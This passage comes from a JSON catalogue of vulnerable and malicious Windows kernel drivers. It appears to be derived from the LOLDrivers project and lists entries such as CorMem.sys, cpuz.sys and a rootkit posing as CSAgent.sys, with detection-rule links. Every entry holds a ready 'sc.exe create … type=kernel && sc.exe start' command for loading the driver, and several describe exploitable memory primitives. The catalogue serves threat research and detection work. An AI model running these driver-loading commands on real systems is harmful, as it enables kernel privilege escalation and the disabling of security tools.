    "risk_level": "high",
    "techniques": [
      "privilege-escalation"
    ],
    "trust_level": "verified",
    "version": "1.0.0"
  },
  {
    "_body": "\nexamples:\n  - description: \"Load the kernel driver\"\n    command: \"sc.exe create CmUpx binPath=C:\\\\\\\\windows\\\\\\\\temp\\\\\\\\CmUpx.sys type=kernel && sc.exe start CmUpx\"\n  - description: \"Exploit the driver for privilege escalation\"\n    command: \"Exploit.exe --driver CmUpx.sys\"\n\n# CmUpx.sys\n\nCmUpx.sys is a vulnerable kernel driver from the KeServiceDescriptorTable/vulnerable-drivers repository. The driver exposes dangerous kernel primitives to usermode.\n\n**Use Case:** Elevate privileges\n\n**Required Privileges:** kernel\n\n**MITRE ATT&CK:** T1068\n",
    "_source": "windows-kernel-cmupx.md",
    "author": "Michael Haag",
    "capabilities": [
      "security.privilegeescalation.kernel-exploit"
    ],
    "description": "CmUpx.sys is a vulnerable kernel driver from the KeServiceDescriptorTable/vulnerable-drivers repository. The driver exposes dangerous kernel primitives to usermode.",
    "execution": {
      "template": "sc.exe create CmUpx binPath=C:\\windows\\temp\\CmUpx.sys type=kernel && sc.exe start CmUpx",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": true
    },
    "features": [
      "file-system",
      "process-manip",
      "requires-root"
    ],
    "id": "windows-kernel-cmupx",
    "install": [
      {
        "method": "custom",
        "description": "Load CmUpx.sys kernel driver",
        "commands": [
          "sc.exe create CmUpx binPath=C:\\windows\\temp\\CmUpx.sys type=kernel && sc.exe start CmUpx"
        ]
      }
    ],
    "name": "CmUpx.sys",
    "namespace": "windows:kernel:cmupx",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://github.com/magicsword-io/LOLDrivers/issues/325"
      },
      {
        "label": "Reference",
        "url": "https://github.com/KeServiceDescriptorTable/vulnerable-drivers"
      }
    ],
    "risk_level": "high",
    "techniques": [
      "privilege-escalation"
    ],
    "trust_level": "verified",
    "version": "1.0.0"
  },
  {
    "_body": "\nexamples:\n  - description: \"Load the kernel driver\"\n    command: \"sc.exe create ComputerZSys binPath= C:\\\\\\\\windows\\\\\\\\temp\\\\\\\\ComputerZSys.sys type=kernel && sc.exe start ComputerZSys\"\n  - description: \"Exploit the driver for privilege escalation\"\n    command: \"Exploit.exe --driver ComputerZ.Sys\"\n\n# ComputerZ.Sys\n\nThe Carbon Black Threat Analysis Unit (TAU) discovered 34 unique vulnerable drivers (237 file hashes) accepting firmware access. Six allow kernel memory access. All give full control of the devices to non-admin users. By exploiting the vulnerable drivers, an attacker without the system privilege may erase/alter firmware, and/or elevate privileges. As of the time of writing in October 2023, the filenames of the vulnerable drivers have not been made public until now.\n\n**Use Case:** Elevate privileges\n\n**Required Privileges:** kernel\n\n**MITRE ATT&CK:** T1068\n",
    "_source": "windows-kernel-computerz.md",
    "author": "Takahiro Haruyama",
    "capabilities": [
      "security.privilegeescalation.kernel-exploit"
    ],
    "description": "The Carbon Black Threat Analysis Unit (TAU) discovered 34 unique vulnerable drivers (237 file hashes) accepting firmware access. Six allow kernel memory access. All give full control of the devices to non-admin users. By exploiting the vulnerable drivers, an attacker without the system privilege may erase/alter firmware, and/or elevate privileges. As of the time of writing in October 2023, the filenames of the vulnerable drivers have not been made public until now.",
    "detections": [
      {
        "type": "yara",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/yara/yara-rules_vuln_drivers_strict_renamed.yar"
      },
      {
        "type": "sigma",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sigma/driver_load_win_vuln_drivers.yml"
      },
      {
        "type": "sigma",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sigma/driver_load_win_vuln_drivers_names.yml"
      },
      {
        "type": "sysmon",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sysmon/sysmon_config_vulnerable_hashes.xml"
      },
      {
        "type": "sysmon",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sysmon/sysmon_config_vulnerable_hashes_block.xml"
      }
    ],
    "execution": {
      "template": "sc.exe create ComputerZSys binPath= C:\\windows\\temp\\ComputerZSys.sys type=kernel && sc.exe start ComputerZSys",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": true
    },
    "features": [
      "file-system",
      "local",
      "pipes-stdin",
      "requires-root"
    ],
    "id": "windows-kernel-computerz",
    "install": [
      {
        "method": "custom",
        "description": "Load ComputerZ.Sys kernel driver",
        "commands": [
          "sc.exe create ComputerZSys binPath= C:\\windows\\temp\\ComputerZSys.sys type=kernel && sc.exe start ComputerZSys"
        ]
      }
    ],
    "name": "ComputerZ.Sys",
    "namespace": "windows:kernel:computerz",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://blogs.vmware.com/security/2023/10/hunting-vulnerable-kernel-drivers.html"
      },
      {
        "label": "Reference",
        "url": "https://github.com/magicsword-io/LOLDrivers/issues/304"
      }
    ],
    "risk_level": "high",
    "techniques": [
      "privilege-escalation"
    ],
    "trust_level": "verified",
    "version": "1.0.0"
  },
  {
    "_body": "\nexamples:\n  - description: \"Load the kernel driver\"\n    command: \"sc.exe create ControlCenter binPath=C:\\\\\\\\windows\\\\\\\\temp\\\\\\\\ControlCenter.sys type=kernel && sc.exe start ControlCenter\"\n  - description: \"Exploit the driver for privilege escalation\"\n    command: \"Exploit.exe --driver ControlCenter.sys\"\n\n# ControlCenter.sys\n\nControlCenter.sys is a vulnerable kernel driver from the KeServiceDescriptorTable/vulnerable-drivers repository. The driver exposes dangerous kernel primitives to usermode.\n\n**Use Case:** Elevate privileges\n\n**Required Privileges:** kernel\n\n**MITRE ATT&CK:** T1068\n",
    "_source": "windows-kernel-controlcenter.md",
    "author": "Michael Haag",
    "capabilities": [
      "security.privilegeescalation.kernel-exploit"
    ],
    "description": "ControlCenter.sys is a vulnerable kernel driver from the KeServiceDescriptorTable/vulnerable-drivers repository. The driver exposes dangerous kernel primitives to usermode.",
    "execution": {
      "template": "sc.exe create ControlCenter binPath=C:\\windows\\temp\\ControlCenter.sys type=kernel && sc.exe start ControlCenter",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": true
    },
    "features": [
      "file-system",
      "process-manip",
      "requires-root"
    ],
    "id": "windows-kernel-controlcenter",
    "install": [
      {
        "method": "custom",
        "description": "Load ControlCenter.sys kernel driver",
        "commands": [
          "sc.exe create ControlCenter binPath=C:\\windows\\temp\\ControlCenter.sys type=kernel && sc.exe start ControlCenter"
        ]
      }
    ],
    "name": "ControlCenter.sys",
    "namespace": "windows:kernel:controlcenter",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://github.com/magicsword-io/LOLDrivers/issues/325"
      },
      {
        "label": "Reference",
        "url": "https://github.com/KeServiceDescriptorTable/vulnerable-drivers"
      }
    ],
    "risk_level": "high",
    "techniques": [
      "privilege-escalation"
    ],
    "trust_level": "verified",
    "version": "1.0.0"
  },
  {
    "_body": "\nexamples:\n  - description: \"Load the kernel driver\"\n    command: \"sc.exe create CorMem.sys binPath=C:\\\\\\\\windows\\\\\\\\temp\\\\\\\\CorMem.sys type=kernel && sc.exe start CorMem.sys\"\n  - description: \"Exploit the driver for privilege escalation\"\n    command: \"Exploit.exe --driver CorMem.sys\"\n\n# CorMem.sys\n\nTeledyne Digital Imaging CorMem.sys (Sapera Memory Manager) exposes physical memory read/write, contiguous memory allocation, and I/O port access to user-mode processes via CorMem.dll wrapper functions. The driver provides 36 exported functions including CorMemGetPhysMemory, CorMemMapPhysMemory, CorMemAllocPhysMemory, CorMemReadIo, and CorMemWriteIo. Actively abused for BYOVD with 0/71 VT detection. Execution parents include Cobalt Strike/IcedID malware and game cheat kernel loaders.\n\n**Use Case:** Elevate privileges\n\n**Required Privileges:** kernel\n\n**MITRE ATT&CK:** T1068\n",
    "_source": "windows-kernel-cormem.md",
    "author": "Michael Haag",
    "capabilities": [
      "security.privilegeescalation.kernel-exploit"
    ],
    "description": "Teledyne Digital Imaging CorMem.sys (Sapera Memory Manager) exposes physical memory read/write, contiguous memory allocation, and I/O port access to user-mode processes via CorMem.dll wrapper functions. The driver provides 36 exported functions including CorMemGetPhysMemory, CorMemMapPhysMemory, CorMemAllocPhysMemory, CorMemReadIo, and CorMemWriteIo. Actively abused for BYOVD with 0/71 VT detection. Execution parents include Cobalt Strike/IcedID malware and game cheat kernel loaders.",
    "execution": {
      "template": "sc.exe create CorMem.sys binPath=C:\\windows\\temp\\CorMem.sys type=kernel && sc.exe start CorMem.sys",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": true
    },
    "features": [
      "file-system",
      "pipes-stdin",
      "pipes-stdout",
      "process-manip",
      "requires-root"
    ],
    "id": "windows-kernel-cormem",
    "install": [
      {
        "method": "custom",
        "description": "Load CorMem.sys kernel driver",
        "commands": [
          "sc.exe create CorMem.sys binPath=C:\\windows\\temp\\CorMem.sys type=kernel && sc.exe start CorMem.sys"
        ]
      }
    ],
    "name": "CorMem.sys",
    "namespace": "windows:kernel:cormem",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://github.com/KeServiceDescriptorTable/cormem.sys-vulnerable-driver"
      },
      {
        "label": "Reference",
        "url": "https://www.virustotal.com/gui/file/40c855d20d497823716a08a443dc85846233226985ee653770bc3b245cf2ed0f"
      },
      {
        "label": "Reference",
        "url": "https://x.com/skept1kal/status/2040200734570877354"
      }
    ],
    "risk_level": "high",
    "techniques": [
      "privilege-escalation"
    ],
    "trust_level": "verified",
    "version": "1.0.0"
  },
  {
    "_body": "\nexamples:\n  - description: \"Load the kernel driver\"\n    command: \"sc.exe create CorsairLLAccess64.sys binPath=C:\\\\\\\\windows\\\\\\\\temp\\\\\\\\CorsairLLAccess64.sys type=kernel && sc.exe start CorsairLLAccess64.sys\"\n  - description: \"Exploit the driver for privilege escalation\"\n    command: \"Exploit.exe --driver CorsairLLAccess64.sys\"\n\n# CorsairLLAccess64.sys\n\n**Use Case:** Elevate privileges\n\n**Required Privileges:** kernel\n\n**MITRE ATT&CK:** T1068\n\n**Variants:** 2 known variants\n",
    "_source": "windows-kernel-corsairllaccess64.md",
    "author": "Nasreddine Bencherchali",
    "capabilities": [
      "security.privilegeescalation.kernel-exploit"
    ],
    "description": "Elevate privileges",
    "detections": [
      {
        "type": "yara",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/yara/yara-rules_vuln_drivers_strict_renamed.yar"
      },
      {
        "type": "sigma",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sigma/driver_load_win_vuln_drivers.yml"
      },
      {
        "type": "sigma",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sigma/driver_load_win_vuln_drivers_names.yml"
      },
      {
        "type": "sysmon",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sysmon/sysmon_config_vulnerable_hashes.xml"
      },
      {
        "type": "sysmon",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sysmon/sysmon_config_vulnerable_hashes_block.xml"
      }
    ],
    "execution": {
      "template": "sc.exe create CorsairLLAccess64.sys binPath=C:\\windows\\temp\\CorsairLLAccess64.sys type=kernel && sc.exe start CorsairLLAccess64.sys",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": true
    },
    "features": [
      "requires-root"
    ],
    "id": "windows-kernel-corsairllaccess64",
    "install": [
      {
        "method": "custom",
        "description": "Load CorsairLLAccess64.sys kernel driver",
        "commands": [
          "sc.exe create CorsairLLAccess64.sys binPath=C:\\windows\\temp\\CorsairLLAccess64.sys type=kernel && sc.exe start CorsairLLAccess64.sys"
        ]
      }
    ],
    "name": "CorsairLLAccess64.sys",
    "namespace": "windows:kernel:corsairllaccess64",
    "platforms": [
      "windows"
    ],
    "risk_level": "high",
    "techniques": [
      "privilege-escalation"
    ],
    "trust_level": "verified",
    "version": "1.0.0"
  },
  {
    "_body": "\nexamples:\n  - description: \"Load the kernel driver\"\n    command: \"sc.exe create CP2X72CSYS binPath= C:\\\\\\\\windows\\\\\\\\temp\\\\\\\\CP2X72CSYS.sys type=kernel && sc.exe start CP2X72CSYS\"\n  - description: \"Exploit the driver for privilege escalation\"\n    command: \"Exploit.exe --driver CP2X72C.SYS\"\n\n# CP2X72C.SYS\n\nThe Carbon Black Threat Analysis Unit (TAU) discovered 34 unique vulnerable drivers (237 file hashes) accepting firmware access. Six allow kernel memory access. All give full control of the devices to non-admin users. By exploiting the vulnerable drivers, an attacker without the system privilege may erase/alter firmware, and/or elevate privileges. As of the time of writing in October 2023, the filenames of the vulnerable drivers have not been made public until now.\n\n**Use Case:** Elevate privileges\n\n**Required Privileges:** kernel\n\n**MITRE ATT&CK:** T1068\n",
    "_source": "windows-kernel-cp2x72c.md",
    "author": "Takahiro Haruyama",
    "capabilities": [
      "security.privilegeescalation.kernel-exploit"
    ],
    "description": "The Carbon Black Threat Analysis Unit (TAU) discovered 34 unique vulnerable drivers (237 file hashes) accepting firmware access. Six allow kernel memory access. All give full control of the devices to non-admin users. By exploiting the vulnerable drivers, an attacker without the system privilege may erase/alter firmware, and/or elevate privileges. As of the time of writing in October 2023, the filenames of the vulnerable drivers have not been made public until now.",
    "detections": [
      {
        "type": "yara",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/yara/yara-rules_vuln_drivers_strict_renamed.yar"
      },
      {
        "type": "sigma",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sigma/driver_load_win_vuln_drivers.yml"
      },
      {
        "type": "sigma",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sigma/driver_load_win_vuln_drivers_names.yml"
      },
      {
        "type": "sysmon",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sysmon/sysmon_config_vulnerable_hashes.xml"
      },
      {
        "type": "sysmon",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sysmon/sysmon_config_vulnerable_hashes_block.xml"
      }
    ],
    "execution": {
      "template": "sc.exe create CP2X72CSYS binPath= C:\\windows\\temp\\CP2X72CSYS.sys type=kernel && sc.exe start CP2X72CSYS",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": true
    },
    "features": [
      "file-system",
      "local",
      "pipes-stdin",
      "requires-root"
    ],
    "id": "windows-kernel-cp2x72c",
    "install": [
      {
        "method": "custom",
        "description": "Load CP2X72C.SYS kernel driver",
        "commands": [
          "sc.exe create CP2X72CSYS binPath= C:\\windows\\temp\\CP2X72CSYS.sys type=kernel && sc.exe start CP2X72CSYS"
        ]
      }
    ],
    "name": "CP2X72C.SYS",
    "namespace": "windows:kernel:cp2x72c",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://blogs.vmware.com/security/2023/10/hunting-vulnerable-kernel-drivers.html"
      }
    ],
    "risk_level": "high",
    "techniques": [
      "privilege-escalation"
    ],
    "trust_level": "verified",
    "version": "1.0.0"
  },
  {
    "_body": "\nexamples:\n  - description: \"Load the kernel driver\"\n    command: \"sc.exe create cpqsysio binPath=C:\\\\\\\\windows\\\\\\\\temp\\\\\\\\cpqsysio64.sys type=kernel && sc.exe start cpqsysio\"\n  - description: \"Exploit the driver for privilege escalation\"\n    command: \"Exploit.exe --driver cpqsysio64.sys\"\n\n# cpqsysio64.sys\n\ncpqsysio64.sys is a Hewlett-Packard physical memory driver that ships as part of the HP ProLiant Support Pack and HP firmware ROM update utilities. The driver exposes physical memory read via MmMapIoSpace (IOCTL 0x152EF0) and physical memory allocation and mapping to usermode via ZwOpenSection on Device\\PhysicalMemory combined with ZwMapViewOfSection (IOCTL 0x153E80). The Compaq heritage driver name (cpq prefix) dates to the HP-Compaq acquisition. The driver is only 15KB and is also available in the KeServiceDescriptorTable/vulnerable-drivers repository.\n\n**Use Case:** Elevate privileges\n\n**Required Privileges:** kernel\n\n**MITRE ATT&CK:** T1068\n",
    "_source": "windows-kernel-cpqsysio64.md",
    "author": "Michael Haag",
    "capabilities": [
      "security.privilegeescalation.kernel-exploit"
    ],
    "description": "cpqsysio64.sys is a Hewlett-Packard physical memory driver that ships as part of the HP ProLiant Support Pack and HP firmware ROM update utilities. The driver exposes physical memory read via MmMapIoSpace (IOCTL 0x152EF0) and physical memory allocation and mapping to usermode via ZwOpenSection on Device\\PhysicalMemory combined with ZwMapViewOfSection (IOCTL 0x153E80). The Compaq heritage driver name (cpq prefix) dates to the HP-Compaq acquisition. The driver is only 15KB and is also available...",
    "execution": {
      "template": "sc.exe create cpqsysio binPath=C:\\windows\\temp\\cpqsysio64.sys type=kernel && sc.exe start cpqsysio",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": true
    },
    "features": [
      "file-system",
      "network-intensive",
      "pipes-stdout",
      "process-manip",
      "requires-root"
    ],
    "id": "windows-kernel-cpqsysio64",
    "install": [
      {
        "method": "custom",
        "description": "Load cpqsysio64.sys kernel driver",
        "commands": [
          "sc.exe create cpqsysio binPath=C:\\windows\\temp\\cpqsysio64.sys type=kernel && sc.exe start cpqsysio"
        ]
      }
    ],
    "name": "cpqsysio64.sys",
    "namespace": "windows:kernel:cpqsysio64",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://github.com/magicsword-io/LOLDrivers/issues/311"
      },
      {
        "label": "Reference",
        "url": "https://github.com/KeServiceDescriptorTable/vulnerable-drivers"
      }
    ],
    "risk_level": "high",
    "techniques": [
      "privilege-escalation"
    ],
    "trust_level": "verified",
    "version": "1.0.0"
  },
  {
    "_body": "\nexamples:\n  - description: \"Load the kernel driver\"\n    command: \"sc.exe create cpupress.sys binPath=C:\\\\\\\\windows\\\\\\\\temp\\\\\\\\cpupress.sys type=kernel && sc.exe start cpupress.sys\"\n  - description: \"Exploit the driver for privilege escalation\"\n    command: \"Exploit.exe --driver cpupress.sys\"\n\n# cpupress.sys\n\n**Use Case:** Elevate privileges\n\n**Required Privileges:** kernel\n\n**MITRE ATT&CK:** T1068\n",
    "_source": "windows-kernel-cpupress.md",
    "author": "Michael Haag",
    "capabilities": [
      "security.privilegeescalation.kernel-exploit"
    ],
    "description": "Elevate privileges",
    "execution": {
      "template": "sc.exe create cpupress.sys binPath=C:\\windows\\temp\\cpupress.sys type=kernel && sc.exe start cpupress.sys",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": true
    },
    "features": [
      "file-system",
      "requires-root"
    ],
    "id": "windows-kernel-cpupress",
    "install": [
      {
        "method": "custom",
        "description": "Load cpupress.sys kernel driver",
        "commands": [
          "sc.exe create cpupress.sys binPath=C:\\windows\\temp\\cpupress.sys type=kernel && sc.exe start cpupress.sys"
        ]
      }
    ],
    "name": "cpupress.sys",
    "namespace": "windows:kernel:cpupress",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://learn.microsoft.com/en-us/windows/security/threat-protection/windows-defender-application-control/microsoft-recommended-driver-block-rules"
      }
    ],
    "risk_level": "high",
    "techniques": [
      "privilege-escalation"
    ],
    "trust_level": "community",
    "version": "1.0.0"
  },
  {
    "_body": "\nexamples:\n  - description: \"Load the kernel driver\"\n    command: \"sc.exe create cpuz.sys binPath=C:\\\\\\\\windows\\\\\\\\temp\\\\\\\\cpuz.sys type=kernel && sc.exe start cpuz.sys\"\n  - description: \"Exploit the driver for privilege escalation\"\n    command: \"Exploit.exe --driver cpuz.sys\"\n\n# cpuz.sys\n\n**Use Case:** Elevate privileges\n\n**Required Privileges:** kernel\n\n**MITRE ATT&CK:** T1068\n\n**Variants:** 2 known variants\n",
    "_source": "windows-kernel-cpuz.md",
    "author": "Michael Haag",
    "capabilities": [
      "security.privilegeescalation.kernel-exploit"
    ],
    "description": "Elevate privileges",
    "detections": [
      {
        "type": "yara",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/yara/8c95d28270a4a314299cf50f05dcbe63033b2a555195d2ad2f678e09e00393e6.yara"
      },
      {
        "type": "sigma",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sigma/driver_load_win_vuln_drivers.yml"
      },
      {
        "type": "sigma",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sigma/driver_load_win_vuln_drivers_names.yml"
      },
      {
        "type": "sysmon",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sysmon/sysmon_config_vulnerable_hashes.xml"
      },
      {
        "type": "sysmon",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sysmon/sysmon_config_vulnerable_hashes_block.xml"
      },
      {
        "type": "yara",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/yara/yara-rules_vuln_drivers_strict_renamed.yar"
      },
      {
        "type": "sigma",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sigma/driver_load_win_vuln_drivers.yml"
      },
      {
        "type": "sigma",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sigma/driver_load_win_vuln_drivers_names.yml"
      },
      {
        "type": "sysmon",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sysmon/sysmon_config_vulnerable_hashes.xml"
      },
      {
        "type": "sysmon",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sysmon/sysmon_config_vulnerable_hashes_block.xml"
      }
    ],
    "execution": {
      "template": "sc.exe create cpuz.sys binPath=C:\\windows\\temp\\cpuz.sys type=kernel && sc.exe start cpuz.sys",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": true
    },
    "features": [
      "file-system",
      "requires-root"
    ],
    "id": "windows-kernel-cpuz",
    "install": [
      {
        "method": "custom",
        "description": "Load cpuz.sys kernel driver",
        "commands": [
          "sc.exe create cpuz.sys binPath=C:\\windows\\temp\\cpuz.sys type=kernel && sc.exe start cpuz.sys"
        ]
      }
    ],
    "name": "cpuz.sys",
    "namespace": "windows:kernel:cpuz",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://github.com/elastic/protections-artifacts/search?q=VulnDriver"
      }
    ],
    "risk_level": "high",
    "techniques": [
      "privilege-escalation"
    ],
    "trust_level": "verified",
    "version": "1.0.0"
  },
  {
    "_body": "\nexamples:\n  - description: \"Load the kernel driver\"\n    command: \"sc.exe create cpuz_x64.sys binPath=C:\\\\\\\\windows\\\\\\\\temp\\\\\\\\cpuz_x64.sys type=kernel && sc.exe start cpuz_x64.sys\"\n  - description: \"Exploit the driver for privilege escalation\"\n    command: \"Exploit.exe --driver cpuz_x64.sys\"\n\n# cpuz_x64.sys\n\n**Use Case:** Elevate privileges\n\n**Required Privileges:** kernel\n\n**MITRE ATT&CK:** T1068\n",
    "_source": "windows-kernel-cpuz-x64.md",
    "author": "Michael Haag",
    "capabilities": [
      "security.privilegeescalation.kernel-exploit"
    ],
    "description": "Elevate privileges",
    "detections": [
      {
        "type": "yara",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/yara/3871e16758a1778907667f78589359734f7f62f9dc953ec558946dcdbe6951e3.yara"
      },
      {
        "type": "sigma",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sigma/driver_load_win_vuln_drivers.yml"
      },
      {
        "type": "sigma",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sigma/driver_load_win_vuln_drivers_names.yml"
      },
      {
        "type": "sysmon",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sysmon/sysmon_config_vulnerable_hashes.xml"
      },
      {
        "type": "sysmon",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sysmon/sysmon_config_vulnerable_hashes_block.xml"
      },
      {
        "type": "yara",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/yara/yara-rules_vuln_drivers_strict_renamed.yar"
      },
      {
        "type": "sigma",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sigma/driver_load_win_vuln_drivers.yml"
      },
      {
        "type": "sigma",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sigma/driver_load_win_vuln_drivers_names.yml"
      },
      {
        "type": "sysmon",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sysmon/sysmon_config_vulnerable_hashes.xml"
      },
      {
        "type": "sysmon",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sysmon/sysmon_config_vulnerable_hashes_block.xml"
      }
    ],
    "execution": {
      "template": "sc.exe create cpuz_x64.sys binPath=C:\\windows\\temp\\cpuz_x64.sys type=kernel && sc.exe start cpuz_x64.sys",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": true
    },
    "features": [
      "file-system",
      "requires-root"
    ],
    "id": "windows-kernel-cpuz-x64",
    "install": [
      {
        "method": "custom",
        "description": "Load cpuz_x64.sys kernel driver",
        "commands": [
          "sc.exe create cpuz_x64.sys binPath=C:\\windows\\temp\\cpuz_x64.sys type=kernel && sc.exe start cpuz_x64.sys"
        ]
      }
    ],
    "name": "cpuz_x64.sys",
    "namespace": "windows:kernel:cpuz-x64",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://github.com/namazso/physmem_drivers"
      }
    ],
    "risk_level": "high",
    "techniques": [
      "privilege-escalation"
    ],
    "trust_level": "verified",
    "version": "1.0.0"
  },
  {
    "_body": "\nexamples:\n  - description: \"Load the kernel driver\"\n    command: \"sc.exe create cpuz141.sys binPath=C:\\\\\\\\windows\\\\\\\\temp\\\\\\\\cpuz141.sys type=kernel && sc.exe start cpuz141.sys\"\n  - description: \"Exploit the driver for privilege escalation\"\n    command: \"Exploit.exe --driver cpuz141.sys\"\n\n# cpuz141.sys\n\n**Use Case:** Elevate privileges\n\n**Required Privileges:** kernel\n\n**MITRE ATT&CK:** T1068\n",
    "_source": "windows-kernel-cpuz141.md",
    "author": "Michael Haag",
    "capabilities": [
      "security.privilegeescalation.kernel-exploit"
    ],
    "description": "Elevate privileges",
    "detections": [
      {
        "type": "yara",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/yara/ded2927f9a4e64eefd09d0caba78e94f309e3a6292841ae81d5528cab109f95d.yara"
      },
      {
        "type": "sigma",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sigma/driver_load_win_vuln_drivers.yml"
      },
      {
        "type": "sigma",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sigma/driver_load_win_vuln_drivers_names.yml"
      },
      {
        "type": "sysmon",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sysmon/sysmon_config_vulnerable_hashes.xml"
      },
      {
        "type": "sysmon",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sysmon/sysmon_config_vulnerable_hashes_block.xml"
      },
      {
        "type": "yara",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/yara/yara-rules_vuln_drivers_strict_renamed.yar"
      },
      {
        "type": "sigma",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sigma/driver_load_win_vuln_drivers.yml"
      },
      {
        "type": "sigma",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sigma/driver_load_win_vuln_drivers_names.yml"
      },
      {
        "type": "sysmon",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sysmon/sysmon_config_vulnerable_hashes.xml"
      },
      {
        "type": "sysmon",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sysmon/sysmon_config_vulnerable_hashes_block.xml"
      }
    ],
    "execution": {
      "template": "sc.exe create cpuz141.sys binPath=C:\\windows\\temp\\cpuz141.sys type=kernel && sc.exe start cpuz141.sys",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": true
    },
    "features": [
      "file-system",
      "requires-root"
    ],
    "id": "windows-kernel-cpuz141",
    "install": [
      {
        "method": "custom",
        "description": "Load cpuz141.sys kernel driver",
        "commands": [
          "sc.exe create cpuz141.sys binPath=C:\\windows\\temp\\cpuz141.sys type=kernel && sc.exe start cpuz141.sys"
        ]
      }
    ],
    "name": "cpuz141.sys",
    "namespace": "windows:kernel:cpuz141",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://github.com/namazso/physmem_drivers"
      }
    ],
    "risk_level": "high",
    "techniques": [
      "privilege-escalation"
    ],
    "trust_level": "verified",
    "version": "1.0.0"
  },
  {
    "_body": "\nexamples:\n  - description: \"Load the kernel driver\"\n    command: \"sc.exe create CSAgent.sys binPath=C:\\\\\\\\windows\\\\\\\\temp\\\\\\\\CSAgent.sys type=kernel && sc.exe start CSAgent.sys\"\n  - description: \"Exploit the driver for privilege escalation\"\n    command: \"Exploit.exe --driver CSAgent.sys\"\n\n# CSAgent.sys\n\nAbyssWorker rootkit masquerading as a CrowdStrike Falcon sensor driver (CSAgent.sys). Signed with a revoked certificate from Shenzhen yundian Technology Co., Ltd. This is a fully malicious driver that blinds security products by stripping handles, terminating processes, and removing notification callbacks. Identified in ESET EDR killers research (March 2026) deployed alongside Medusa ransomware via the HEARTCRYPT packer.\n\n**Use Case:** Elevate privileges\n\n**Required Privileges:** kernel\n\n**MITRE ATT&CK:** T1014\n\n**Variants:** 4 known variants\n",
    "_source": "windows-kernel-csagent.md",
    "author": "Michael Haag",
    "capabilities": [
      "security.privilegeescalation.kernel-exploit"
    ],
